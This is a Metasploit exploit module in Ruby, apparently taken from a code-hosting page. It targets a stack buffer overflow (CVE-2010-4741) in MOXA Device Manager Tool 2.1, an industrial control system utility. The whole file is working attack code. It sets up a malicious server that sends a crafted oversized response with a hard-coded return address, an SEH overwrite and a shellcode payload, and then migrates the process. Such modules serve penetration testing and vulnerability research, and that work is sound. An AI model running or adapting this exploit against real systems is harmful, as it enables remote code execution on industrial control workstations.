79 lines
2.1 KiB
Ruby
79 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::TcpServer
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
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When sending a specially crafted MDMGw (MDM2_Gateway) response, an
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attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'Ruben Santamarta', 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-4741'],
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[ 'OSVDB', '69027'],
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[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
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[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-301-01A.pdf' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 20 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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client.get_once
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sploit = rand_text_alpha_upper(18024)
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sploit[0, 4] = [0x29001028].pack('V')
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sploit[472, payload.encoded.length] = payload.encoded
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sploit[1072, 8] = generate_seh_record(target.ret)
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sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string
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client.put(sploit)
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handler(client)
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service.close_client(client)
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end
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end
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